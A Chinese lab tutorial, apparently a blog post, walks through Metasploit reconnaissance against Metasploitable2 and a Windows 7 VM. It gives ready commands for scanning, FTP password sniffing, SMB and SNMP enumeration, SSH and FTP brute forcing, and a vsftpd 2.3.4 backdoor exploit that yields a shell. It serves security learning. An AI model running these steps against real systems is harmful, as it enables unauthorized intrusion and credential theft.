利用msf 对靶机metasploittable2 进行信息收集

文章目录

  • 利用msf 对靶机metasploittable2 进行信息收集
    • 测试环境
    • 信息统一收集
      • 1.使用netdiscover 扫描存活主机
      • 2.使用 Nmap 确认该目标主机
      • 3.使用zenmap 扫描开放端口 查找漏洞
      • 4.如上图这么多端口开放使用 Nessus 扫描该主机的漏洞
    • 一、基于 TCP 协议收集主机信息
      • 1.1 ARP 扫描
      • 1.2 使用半连接方式扫描TCP端口
      • 1.3 使用 auxiliary/sniffer 下的psnuffle 模块进行密码嗅探
    • 二、基于 SNMP 协议收集主机信息
      • 2.1 开启靶机 SNMP 服务
      • 2.2 使用 snmp3_enum 模块通过 snmp 协议扫描 目标服务器信息
    • 三、基于 SMB 协议收集信息
      • 3.1 使用 smb_version 基于 SMB 协议扫描版本号
      • 3.2 是用smb_enumshares 基于SMB协议扫共享文件(账号、密码)
      • 3.3 使用 smb_lookupsid 扫描系统用户信息(SID 枚举)
    • 四、基于 SSH 协议收集信息
      • 4.1 查看 SSH 服务的版本信息
      • 4.2 SSH 暴力破解
    • 五、基于 FTP 协议收集信息
      • 5.1 加载 FTP 服务版本扫描模块
      • 5.2 ftp 匿名登录扫描
    • 总结

测试环境

  • kali Linux 2019.1a
  • Metasploittable2-Linux
  • windows 7

信息统一收集

1.使用netdiscover 扫描存活主机

root@fengzilin53:~# netdiscover -i eth0 -r 192.168.37.0/24

2.使用 Nmap 确认该目标主机

已知该目标主机是Linux 使用半连接 通过扫描该目标主机 地址 IP 为 192.168.37.140

root@fengzilin53:~# nmap -sS -O 192.168.37.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2021-02-08 18:43 CST
Nmap scan report for 192.168.37.1
Host is up (0.000094s latency).
All 1000 scanned ports on 192.168.37.1 are filtered
MAC Address: 00:50:56:C0:00:08 (VMware)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hopNmap scan report for 192.168.37.2
Host is up (0.00025s latency).
Not shown: 999 closed ports
PORT   STATE    SERVICE
53/tcp filtered domain
MAC Address: 00:50:56:E2:5D:96 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized
Running: VMware Player
OS CPE: cpe:/a:vmware:player
OS details: VMware Player virtual NAT device
Network Distance: 1 hopNmap scan report for 192.168.37.140
Host is up (0.00053s latency).
Not shown: 977 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown
MAC Address: 00:0C:29:15:B3:5E (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hopNmap scan report for 192.168.37.254
Host is up (0.00011s latency).
All 1000 scanned ports on 192.168.37.254 are filtered
MAC Address: 00:50:56:E6:95:6C (VMware)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hopNmap scan report for 192.168.37.138
Host is up (0.000047s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.7 - 3.10
Network Distance: 0 hopsOS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (5 hosts up) scanned in 39.01 seconds

3.使用zenmap 扫描开放端口 查找漏洞

选择全端口扫描

全部端口开放情况

4.如上图这么多端口开放使用 Nessus 扫描该主机的漏洞

分别用两个版本扫描 该主机

开启Nessus并输入对应信息 并保存 使用 Nessus 6.1 扫描结果

启动扫描

扫描结果

使用Nessus 8.1 扫描结果

扫描window 7

Nmap scan report for 192.168.37.142 (192.168.37.142)
Host is up (0.00073s latency).
Not shown: 996 filtered ports
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
5357/tcp open  wsdapi
MAC Address: 00:0C:29:6E:D2:3B (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 7|8|Vista|2008
OS CPE: cpe:/o:microsoft:windows_7::-:professional cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2008::sp1
OS details: Microsoft Windows 7 Professional or Windows 8, Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7, Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008
Network Distance: 1 hop

一、基于 TCP 协议收集主机信息

打开终端 输入命令开启 msf

root@fengzilin53:~# msfconsole -q //q代表快捷进入

1.1 ARP 扫描

msf5 > search arp

选择该模块并查看相应参数

msf5 > use auxiliary/scanner/discovery/arp_sweep
msf5 auxiliary(scanner/discovery/arp_sweep) > show options

设置该模块参数并运行

msf5 auxiliary(scanner/discovery/arp_sweep) > set RHOSTS 192.168.37.140
RHOSTS => 192.168.37.140
msf5 auxiliary(scanner/discovery/arp_sweep) > run

抓包分析 是通过arp广播发送 然后目标主机 单播回应

1.2 使用半连接方式扫描TCP端口

以下就是TCP 相关的内容

msf5 > search portscan

进入该模块并查看配置项

msf5 > use auxiliary/scanner/portscan/syn    //进入模块
msf5 auxiliary(scanner/portscan/syn) > show options  //查看配置项

   Name         Description----         -----------BATCHSIZE    The number of hosts to scan per set                         //每集扫描的主机数量DELAY        The delay between connections, per thread, in milliseconds  //连接之间的延迟,每个线程,以毫秒为单位INTERFACE    The name of the interface                                   //接口名称JITTER       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds. //延迟抖动因子(加/减延迟的最大值),以毫秒为单位PORTS        Ports to scan (e.g. 22-25,80,110-900)                       //需要扫描的端口1-10000(例如22-25,80,110-900)RHOSTS       The target address range or CIDR identifier                 //目标地址范围或CIDR标识符SNAPLEN      The number of bytes to capture                              //需要捕获的字节数THREADS      The number of concurrent threads                            //并发线程数TIMEOUT      The reply read timeout in milliseconds                      //应答读超时时间,单位为毫秒

我们设置目标地址及端口号并检查

msf5 auxiliary(scanner/portscan/syn) > set RHOSTS 192.168.37.140  //目标地址
RHOSTS => 192.168.37.140
msf5 auxiliary(scanner/portscan/syn) > set PORTS 80               //端口号
PORTS => 80
msf5 auxiliary(scanner/portscan/syn) > show options

运行命令的结果

1.3 使用 auxiliary/sniffer 下的psnuffle 模块进行密码嗅探

实验拓扑图:

查询psnuffle 并进入该模块

msf5 > search psnuffle
msf5 > use auxiliary/sniffer/psnuffle

查询并运行、

新建一个窗口安装lftp 并登录

root@fengzilin53:~# apt install -y lftp
root@fengzilin53:~# lftp -u msfadmin 192.168.37.140
密码:
lftp msfadmin@192.168.37.140:~> ls
drwxr-xr-x    6 1000     1000         4096 Apr 28  2010 vulnerable

左边另外一个端口发现能嗅探到密码

并同步使用wireshark 进行抓包分析 也能发现账户名和密码

追踪数据流

嗅探完成把后台任务关闭

msf5 auxiliary(sniffer/psnuffle) > jobs
msf5 auxiliary(sniffer/psnuffle) > kill 0 //0 job的ID,关闭job

小结:

通过使用msf的辅助模块来收集基于TCP 协议的信息,能有效的嗅探到该协议的相关信息,该模块只能嗅探以协议pop3、imap、ftp、HTTP GET

二、基于 SNMP 协议收集主机信息

端口号:snmp get UDP 161 , snmp trap udp 162

2.1 开启靶机 SNMP 服务

简单网络管理协议(SNMP) 是专门设计用于在 IP 网络管理网络节点(服务器、工作站、路由器、交换机及HUBS等)的一种标准协议,它是一种应用层协议

我们使用root 用户先到Metasploittable2-Linux 主机修改以下 SNMP 服务,默认该服务是不对外开放的

进入snmpd配置文件

root@metasploitable:~# vim /etc/default/snmpd

将第11行该以下内容

     11 SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 127.0.0.1'
改为 11 SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 0.0.0.0'

重启SNMP 服务

root@metasploitable:~# /etc/init.d/snmpd restart
Restarting network management services: snmpd.

确认服务监听正常

root@metasploitable:~# netstat -antup | grep 161
udp        0      0 0.0.0.0:161             0.0.0.0:*                           5319/snmpd

2.2 使用 snmp3_enum 模块通过 snmp 协议扫描 目标服务器信息

查询snmp模块并进入该模块

msf5 > search snmp
msf5 > use auxiliary/scanner/snmp/snmp_enum

查询配置项并设置配置

msf5 auxiliary(scanner/snmp/snmp_enum) > show options
msf5 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 192.168.37.140
RHOSTS => 192.168.37.140

运行并看结果

msf5 auxiliary(scanner/snmp/snmp_enum) > run

可以通过 SNMP 协议探测到的信息非常多,如服务器硬件信息和服务器当前运行的进程,这两方面是通过其他方式扫描不到的

小结:

通过msf 的snmp_enum 模块获取的信息是非常多的,但是,简单网络管理协议(SNMP)一般出现在大型网络管理中,该服务,根据情况进行获取信息

三、基于 SMB 协议收集信息

服务器消息块(Server Message Block,缩写为SMB),又称网络文件共享系统(Common Internet File System,缩写为CIFS, /ˈsɪfs/),一种应用层网络传输协议,由微软开发,主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通讯等资源。它也提供经认证的进程间通信机能。它主要用在装有Microsoft Windows的机器上,在这样的机器上被称为Microsoft Windows Network。端口号 445

3.1 使用 smb_version 基于 SMB 协议扫描版本号

搜索该模块并进入该模块

msf5 > search smb_version
msf5 > use auxiliary/scanner/smb/smb_version

查看配置项 并设置配置项

msf5 auxiliary(scanner/smb/smb_version) > show options
msf5 auxiliary(scanner/smb/smb_version) > set RHOST 192.168.37.140, 192.168.37.142   //注意:设置多个IP时,用英文逗号+空格隔开
RHOST => 192.168.37.140, 192.168.37.142

运行

msf5 auxiliary(scanner/smb/smb_version) > run

可以准确识别该主机操作系统的版本号

3.2 是用smb_enumshares 基于SMB协议扫共享文件(账号、密码)

我们进入到windows 中启用一下共享服务 具信息收集该主机开启445端口

该主机IP地址为 192.168.37.142

新建一个测试文件夹,右击选择共享

点击Administrator 选择 读/写点击共享

返回kali 打开终端进入msf

msf5 > search smb_share
msf5 > use auxiliary/scanner/smb/smb_enumshares

选择模块设置该参数,运行

msf5 auxiliary(scanner/smb/smb_enumshares) > show options
msf5 auxiliary(scanner/smb/smb_enumshares) > set RHOSTS 192.168.37.142
msf5 auxiliary(scanner/smb/smb_enumshares) > set SMBUser administrator
msf5 auxiliary(scanner/smb/smb_enumshares) > set SMBPass 123456
msf5 auxiliary(scanner/smb/smb_enumshares) > run

3.3 使用 smb_lookupsid 扫描系统用户信息(SID 枚举)

我们在win7上新建一个用户为 test 密码 为 123456

打开命令行 win+R 输入cmd -确认

C:\Users\Administrator>net user test 123456 /add   //创建用户为 test 密码为 123456
C:\Users\Administrator>net user                    //查看用户

使用msf的 smb_lookupsid 模块进行枚举

查看配置项 设置配置,运行

msf5 auxiliary(scanner/smb/smb_lookupsid) > show options
msf5 auxiliary(scanner/smb/smb_lookupsid) > set RHOSTS 192.168.37.142
msf5 auxiliary(scanner/smb/smb_lookupsid) > set SMBUser test
msf5 auxiliary(scanner/smb/smb_lookupsid) > set SMBPass 123456
msf5 auxiliary(scanner/smb/smb_lookupsid) > run

小结:

通过使用smb(文件共享协议),通过该命令能够精准的找到用户的服务配置信息,通过扫描该用户的账号和密码,来破解

四、基于 SSH 协议收集信息

4.1 查看 SSH 服务的版本信息

msf5 > search ssh_version
msf5 > use auxiliary/scanner/ssh/ssh_version
msf5 auxiliary(scanner/ssh/ssh_version) > show options
msf5 auxiliary(scanner/ssh/ssh_version) > set RHOSTS 192.168.37.140
msf5 auxiliary(scanner/ssh/ssh_version) > run

4.2 SSH 暴力破解

搜索 破解模块ssh_login 进入该模块 查看配置选项

msf5 > search ssh_login
msf5 > use auxiliary/scanner/ssh/ssh_login
msf5 auxiliary(scanner/ssh/ssh_login) > show options

配置选项译文

 Name               Description----               -----------
BLANK_PASSWORDS    Try blank passwords for all users                     //为所有用户尝试使用空白密码
BRUTEFORCE_SPEED   How fast to bruteforce, from 0 to 5                   //从0到5的速度
DB_ALL_CREDS       Try each user/password couple stored in the current database  //尝试存储在当前数据库中的每个用户/密码对
DB_ALL_PASS        Add all passwords in the current database to the list  //将当前数据库中的所有密码添加到列表中
DB_ALL_USERS       Add all users in the current database to the list      //将当前数据库中的所有用户添加到列表中
PASSWORD           specific password to authenticate with                 //指定要进行身份验证的密码
PASS_FILE          containing passwords, one per line                     //包含密码,每行一个
RHOSTS             The target address range or CIDR identifier            //目标地址范围或CIDR标识
RPORT              The target port                                        //目标端口
STOP_ON_SUCCESS    Stop guessing when a credential works for a host       //当凭证对主机有效时停止猜测
THREADS            The number of concurrent threads                       //线程并发线程数
USERNAME           specific username to authenticate as                   //指定认证as的用户名
USERPASS_FILE      File containing users and passwords separated by space, one pair per line  //包含用户和密码的文件,以空格分隔,每行一对
USER_AS_PASS       Try the username as the password for all users         //为所有用户尝试使用该用户名作为密码
USER_FILE          containing usernames, one per line                     //包含用户名,每行一个
VERBOSE            Whether to print output for all attempts               //是否打印所有尝试的输出

设置配置选项并运行

msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.37.140
msf5 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt //将文件定制下
msf5 auxiliary(scanner/ssh/ssh_login) > set VERBOSE true
msf5 auxiliary(scanner/ssh/ssh_login) > run

小结:

ssh 是通过远程连接获取的,我们扫描端口开放,可以尝试用字典破解,但是因为,我们kali 自带的字典,不足以满足需求,因此我们要自己生成自己来暴力破解,在实验阶段,只需要,在该字典中加入,对应的密码即可,为了快速的验证原理。

五、基于 FTP 协议收集信息

5.1 加载 FTP 服务版本扫描模块

msf5 > search ftp_version
msf5 > use auxiliary/scanner/ftp/ftp_version
msf5 auxiliary(scanner/ftp/ftp_version) > show options
msf5 auxiliary(scanner/ftp/ftp_version) > set RHOSTS 192.168.37.140
msf5 auxiliary(scanner/ftp/ftp_version) > run

扫描结果为 vsFTPd 2.3.4 我们尝试搜索该模块

f5 auxiliary(scanner/ftp/ftp_version) > back  //退出上一步
msf5 > search 2.3.4

使用该模块并设置配置

msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.37.140

运行该模块发现,已经拿到了 shell 权限

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > run
id       //查看当前用户
ifconfig //查看IP地址

5.2 ftp 匿名登录扫描

msf5 > use auxiliary/scanner/ftp/ftp_login
msf5 auxiliary(scanner/ftp/ftp_login) > show options
msf5 auxiliary(scanner/ftp/ftp_login) > set RHOSTS 192.168.37.140
msf5 auxiliary(scanner/ftp/ftp_login) > set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
msf5 auxiliary(scanner/ftp/ftp_login) > run

破解成功

测试环境添加该密码

root@fengzilin53:~# echo "msfadmin msfadmin" >> /usr/share/metasploit-framework/data/wordlists/root_userpass.txt

小结:

FTP 和SSH 使用方法一样,都可以对其开放的端口进行暴力破解,查看版本信息,或者扫描该服务的漏洞

总结

本章使用了,TCP、SNMP、SMB、SSH、FTP 等一些协议的漏洞使用及信息,收集,可以根据测试环境进行,如开放相同服务可进行对齐渗透

利用msf 对靶机metasploittable2 进行信息收集相关推荐

  1. MSF(三):信息收集

    MSF(三):信息收集 安全牛学习Metasploit Framework笔记 1.Nmap扫描开启了哪些服务 db_nmap -sV 192.168. 1.0/24 2.Auxiliary扫描模块使 ...

  2. 内网渗透-内网信息收集

    内网信息收集 文章目录 内网信息收集 前言 msf模块中的信息收集 msf反弹shell后的信息收集 内网信息收集 后记 前言 当我们进行外网信息收集,漏洞探测以及漏洞利用后,获得了主机的权限后,我们 ...

  3. 渗透武器库---信息收集工具大全

    点击"仙网攻城狮"关注我们哦~ 不当想研发的渗透人不是好运维 让我们每天进步一点点 简介 渗透的本质是信息收集,在渗透开始时能收集的数据和信息的多少会直接影响到最后的测试结果. 本 ...

  4. [网络安全提高篇] 一〇三.Metasploit后渗透技术之信息收集、权限提权和功能模块

    当您阅读到该篇文章时,作者已经将"网络安全自学篇"设置成了收费专栏,首先说声抱歉.感谢这一年来大家的阅读和陪伴,这100篇安全文章记录了自己从菜鸡到菜鸟的成长史,该部分知识也花了很 ...

  5. 红队笔记之信息收集技术要点总结

    文章目录 什么是信息收集 为什么要进行信息收集 如何进行信息收集 信息收集的主要对象 和人相关的收集 员工名称 电子邮箱 凭据 信息资产的收集 1.资产收集之主域名收集 2.资产收集之子域名收集 3. ...

  6. 【Metasploit总结】之【MSF常用命令及信息收集】

    操作系统:kali Linux2020.3 smfconsole常用命令 msfconsole下可以直接使用终端命令,如ping等 msfdb start # 启动msf数据库,msf数据库默认使用的 ...

  7. 使用Nmap对靶机进行信息收集以及Nessus的安装并对靶机进行的漏洞扫描

    以下是对本地搭建的靶机Metasploitable2-Linux进行的信息收集 以及Nessus的安装并对靶机进行的漏洞扫描 一. 使用多种方法进行信息收集 1.使用nmap对全网段进行扫描 nmap ...

  8. Nmap、MSF、Netcraft、nslookup、whois信息收集工具使用

    转载请注明作者及出处: 被动信息收集 使用被动.间接的信息收集技术,可以在不接触目标系统的情况下挖掘目标信息.例如,可以用被动信息收集技术确定网络边界情况和网络运维人员,甚至了解到目标网络中使用的操作 ...

  9. kali利用msf工具对ms08-067漏洞入侵靶机(win xp2)

    kali利用msf工具对ms08-067漏洞入侵靶机(win xp2) 漏洞简介 MS08-067漏洞将会影响Windows 2000/XP/Server 2003/Vista/Server 2008 ...

  10. 《黑客之道》--网络安全 黑客攻防教程 渗透测试 利用第三方服务对目标进行被动信息收集防止被发现

    被动信息收集 3.1.1 被动信息收集概述和目的 信息收集的方式可以分为两种:被动和主动. 被动信息收集方式是指利用第三方的服务对目标进行访问了解,比例:Google搜索. 主动的信息收集方式:通过直 ...

最新文章

  1. python生成条形码
  2. Python语言学习:三种随机函数random.seed()、numpy.random.seed()、set_random_seed()及random_normal的简介、使用方法(固定种子)详细攻略
  3. 音视频技术开发周刊 | 189
  4. java学习(109):StringBuilder,stringbuffer,string区别
  5. c语言二维数组总成绩,c语言5个人3科成绩总分和平均分,用二维数组
  6. 所有进程的信息 linux,LINUX下获取所有进程信息
  7. python教学笔记_python学习笔记(一)
  8. Asp.Net数据控件遍历
  9. 快速搭建一个端对端加密的在线聊天室
  10. Ubuntu 18.04 ——— ROVIO运行与EVO的评测与使用
  11. sql之conver函数的使用
  12. 80篇数据库大数据精华内容
  13. Java基础知识面试题(总结最全面的面试题)
  14. (十一) ELK快速入门
  15. 数据结构(本科学习)
  16. elang和python互通的例子
  17. mysql怎么做排名并列_MySQL实现排名并查询指定用户排名功能,并列排名功能
  18. H3C服务器配置raid
  19. 【增强版短视频去水印源码】去水印微信小程序+去水印软件源码
  20. IDEA 的Surround With 快捷键只显示live template问题

热门文章

  1. java使用谷歌邮箱发送邮件
  2. 数据分析处理之词频统计
  3. word方式编辑EPUB电子书
  4. 抖音企业号无需开发连接第三方系统
  5. 冰点还原容易出现的问题总结
  6. Sentinel-1 GRD数据处理及其在水体信息提取中的应用
  7. linux office转换pdf
  8. veu-cli 3.0使用教程
  9. 移动硬盘格式化了,要怎么恢复数据
  10. 获取UWP应用的三种方式